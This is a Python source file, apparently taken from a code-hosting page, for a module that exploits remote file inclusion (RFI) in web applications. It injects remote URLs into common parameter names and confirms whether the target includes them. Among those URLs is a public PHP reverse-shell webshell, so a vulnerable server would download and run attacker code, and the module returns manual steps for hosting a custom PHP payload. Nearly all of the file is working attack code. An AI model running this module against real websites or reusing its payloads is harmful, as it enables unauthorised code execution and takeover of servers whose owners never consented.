267 lines
10 KiB
Python
267 lines
10 KiB
Python
|
#!/usr/bin/env python
|
|||
|
|
# -*- coding: utf-8 -*-
|
|||
|
|
|
|||
|
|
"""
|
|||
|
|
RFI（远程文件包含）漏洞利用模块
|
|||
|
|
"""
|
|||
|
|
|
|||
|
|
import logging
|
|||
|
|
import re
|
|||
|
|
import urllib.parse
|
|||
|
|
import random
|
|||
|
|
import string
|
|||
|
|
import base64
|
|||
|
|
import requests
|
|||
|
|
|
|||
|
|
logger = logging.getLogger('xss_scanner')
|
|||
|
|
|
|||
|
|
class RFIExploit:
|
|||
|
|
"""RFI漏洞利用类"""
|
|||
|
|
|
|||
|
|
def __init__(self, http_client):
|
|||
|
|
"""
|
|||
|
|
初始化RFI漏洞利用模块
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
http_client: HTTP客户端对象
|
|||
|
|
"""
|
|||
|
|
self.http_client = http_client
|
|||
|
|
|
|||
|
|
# 远程测试文件URL列表
|
|||
|
|
self.remote_test_files = [
|
|||
|
|
"http://www.google.com/humans.txt",
|
|||
|
|
"https://www.bing.com/robots.txt",
|
|||
|
|
"https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/phpinfo.php",
|
|||
|
|
"https://raw.githubusercontent.com/tennc/webshell/master/php/php-reverse-shell.php"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# RFI测试代码片段
|
|||
|
|
self.test_code_snippets = [
|
|||
|
|
"<?php echo 'RFI_TEST_'.rand(1000,9999); ?>",
|
|||
|
|
"<?php echo md5('RFI_TEST'); ?>",
|
|||
|
|
"<?php echo base64_encode('RFI_TEST_'.time()); ?>",
|
|||
|
|
"<?php phpinfo(); ?>"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# 远程测试代码的可能托管服务
|
|||
|
|
self.remote_code_hosts = [
|
|||
|
|
"https://pastebin.com/raw/",
|
|||
|
|
"https://gist.githubusercontent.com/raw/",
|
|||
|
|
"https://raw.githubusercontent.com/"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
# 常见参数名
|
|||
|
|
self.common_parameters = [
|
|||
|
|
"file",
|
|||
|
|
"page",
|
|||
|
|
"url",
|
|||
|
|
"uri",
|
|||
|
|
"path",
|
|||
|
|
"filepath",
|
|||
|
|
"load",
|
|||
|
|
"include",
|
|||
|
|
"require",
|
|||
|
|
"doc",
|
|||
|
|
"document",
|
|||
|
|
"folder",
|
|||
|
|
"root",
|
|||
|
|
"cont",
|
|||
|
|
"content",
|
|||
|
|
"layout",
|
|||
|
|
"mod",
|
|||
|
|
"module",
|
|||
|
|
"template"
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
def exploit(self, vulnerability):
|
|||
|
|
"""
|
|||
|
|
利用RFI漏洞
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
vulnerability: 漏洞信息
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
logger.info(f"尝试利用RFI漏洞: {vulnerability['url']}")
|
|||
|
|
|
|||
|
|
url = vulnerability.get('url')
|
|||
|
|
parameter = vulnerability.get('parameter')
|
|||
|
|
payload = vulnerability.get('payload', '')
|
|||
|
|
|
|||
|
|
if not url or not parameter:
|
|||
|
|
return {
|
|||
|
|
'success': False,
|
|||
|
|
'message': '缺少必要的漏洞信息(URL或参数名)',
|
|||
|
|
'data': None
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
# 尝试远程文件测试
|
|||
|
|
for remote_url in self.remote_test_files:
|
|||
|
|
result = self._try_remote_file(url, parameter, remote_url)
|
|||
|
|
if result and result['success']:
|
|||
|
|
return result
|
|||
|
|
|
|||
|
|
# 生成随机标记用于验证
|
|||
|
|
verification_mark = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
|
|||
|
|
logger.info(f"生成验证标记: {verification_mark}")
|
|||
|
|
|
|||
|
|
# 如果远程文件测试不成功，尝试创建一个自定义的远程测试文件
|
|||
|
|
# 实际应用中，需要一个可控的Web服务器来托管这些文件
|
|||
|
|
# 这里只是演示性代码
|
|||
|
|
test_code = f"<?php echo 'RFI_VERIFICATION_{verification_mark}'; ?>"
|
|||
|
|
|
|||
|
|
# 返回结果
|
|||
|
|
# 注意：实际利用需要真实的远程服务器来托管恶意代码
|
|||
|
|
return {
|
|||
|
|
'success': False,
|
|||
|
|
'message': '在实际环境中，需要一个可控的远程Web服务器托管PHP代码来完成RFI漏洞利用',
|
|||
|
|
'data': {
|
|||
|
|
'verification_code': test_code,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'url': url
|
|||
|
|
},
|
|||
|
|
'poc': f"要验证RFI漏洞，请在你控制的Web服务器托管包含 '{test_code}' 的PHP文件，然后设置URL参数 {parameter}={{'你的PHP文件URL'}}",
|
|||
|
|
'manual_steps': [
|
|||
|
|
"1. 在你控制的Web服务器上创建一个PHP文件，内容为: " + test_code,
|
|||
|
|
"2. 确保该PHP文件可通过HTTP/HTTPS访问",
|
|||
|
|
f"3. 构造URL: {url}?{parameter}=http://your-server.com/your-file.php",
|
|||
|
|
f"4. 如果响应中包含 'RFI_VERIFICATION_{verification_mark}'，则确认存在RFI漏洞"
|
|||
|
|
]
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
def _try_remote_file(self, url, parameter, remote_url):
|
|||
|
|
"""
|
|||
|
|
尝试包含远程文件
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
url: 目标URL
|
|||
|
|
parameter: 参数名
|
|||
|
|
remote_url: 远程文件URL
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
dict: 利用结果
|
|||
|
|
"""
|
|||
|
|
try:
|
|||
|
|
logger.info(f"尝试包含远程文件: {remote_url}")
|
|||
|
|
|
|||
|
|
# 构建RFI测试URL
|
|||
|
|
parsed_url = urllib.parse.urlparse(url)
|
|||
|
|
query_params = dict(urllib.parse.parse_qsl(parsed_url.query))
|
|||
|
|
query_params[parameter] = remote_url
|
|||
|
|
|
|||
|
|
# 重建查询字符串
|
|||
|
|
new_query = urllib.parse.urlencode(query_params)
|
|||
|
|
new_url = urllib.parse.urlunparse((
|
|||
|
|
parsed_url.scheme,
|
|||
|
|
parsed_url.netloc,
|
|||
|
|
parsed_url.path,
|
|||
|
|
parsed_url.params,
|
|||
|
|
new_query,
|
|||
|
|
parsed_url.fragment
|
|||
|
|
))
|
|||
|
|
|
|||
|
|
# 先获取远程文件内容，以便后续比较
|
|||
|
|
try:
|
|||
|
|
remote_response = requests.get(remote_url, timeout=5)
|
|||
|
|
if not remote_response.ok:
|
|||
|
|
logger.warning(f"无法获取远程文件内容: {remote_url}")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
remote_content = remote_response.text
|
|||
|
|
logger.info(f"成功获取远程文件内容，长度: {len(remote_content)} 字节")
|
|||
|
|
|
|||
|
|
# 获取远程文件的特征以便检测
|
|||
|
|
# 提取特征，最多50个字符
|
|||
|
|
feature_length = min(50, len(remote_content))
|
|||
|
|
if feature_length > 0:
|
|||
|
|
remote_feature = remote_content[:feature_length]
|
|||
|
|
else:
|
|||
|
|
logger.warning("远程文件内容为空")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"获取远程文件内容时出错: {str(e)}")
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
# 发送包含请求
|
|||
|
|
response = self.http_client.get(new_url)
|
|||
|
|
|
|||
|
|
# 检查响应是否包含远程文件内容
|
|||
|
|
if response and response.status_code == 200:
|
|||
|
|
# 检查响应中是否包含远程文件的特征
|
|||
|
|
if remote_feature and remote_feature in response.text:
|
|||
|
|
logger.info(f"成功包含远程文件，发现特征: {remote_feature[:20]}...")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': f'成功利用RFI漏洞包含远程文件: {remote_url}',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'feature_found': remote_feature[:20] + ('...' if len(remote_feature) > 20 else '')
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
elif "phpinfo" in remote_url.lower() and "PHP Version" in response.text and "PHP License" in response.text:
|
|||
|
|
# 特殊检测: phpinfo()
|
|||
|
|
logger.info("成功包含远程PHP文件，执行了phpinfo()")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': '成功利用RFI漏洞包含远程PHP文件并执行了phpinfo()',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'php_version': self._extract_php_version(response.text)
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
elif "shell" in remote_url.lower() and "system" in response.text and "exec" in response.text:
|
|||
|
|
# 特殊检测: 可能的webshell
|
|||
|
|
logger.info("成功包含远程PHP文件，可能是webshell")
|
|||
|
|
return {
|
|||
|
|
'success': True,
|
|||
|
|
'message': '成功利用RFI漏洞包含远程PHP文件(可能是webshell)',
|
|||
|
|
'data': {
|
|||
|
|
'remote_url': remote_url,
|
|||
|
|
'parameter': parameter,
|
|||
|
|
'warning': '检测到可能包含危险函数的代码'
|
|||
|
|
},
|
|||
|
|
'poc': new_url
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
except Exception as e:
|
|||
|
|
logger.error(f"尝试包含远程文件时出错: {str(e)}")
|
|||
|
|
|
|||
|
|
return None
|
|||
|
|
|
|||
|
|
def _extract_php_version(self, phpinfo_output):
|
|||
|
|
"""
|
|||
|
|
从phpinfo()输出中提取PHP版本
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
phpinfo_output: phpinfo()函数的输出
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
str: PHP版本
|
|||
|
|
"""
|
|||
|
|
# 尝试提取PHP版本
|
|||
|
|
version_match = re.search(r"PHP Version[\s]*[=>]*[\s]*([0-9.]+)", phpinfo_output)
|
|||
|
|
if version_match:
|
|||
|
|
return version_match.group(1)
|
|||
|
|
return "未知"
|
|||
|
|
|
|||
|
|
def _create_remote_test_file(self, test_code):
|
|||
|
|
"""
|
|||
|
|
创建远程测试文件
|
|||
|
|
|
|||
|
|
Args:
|
|||
|
|
test_code: 测试代码
|
|||
|
|
|
|||
|
|
Returns:
|
|||
|
|
str: 远程文件URL
|
|||
|
|
"""
|
|||
|
|
# 在实际应用中，这个函数应该将测试代码上传到可控的Web服务器
|
|||
|
|
# 并返回可访问的URL
|
|||
|
|
# 这里仅作为演示，返回一个假的URL
|
|||
|
|
logger.warning("创建远程测试文件功能需要实际的Web服务器支持")
|
|||
|
|
return "http://example.com/test_rfi.php"
|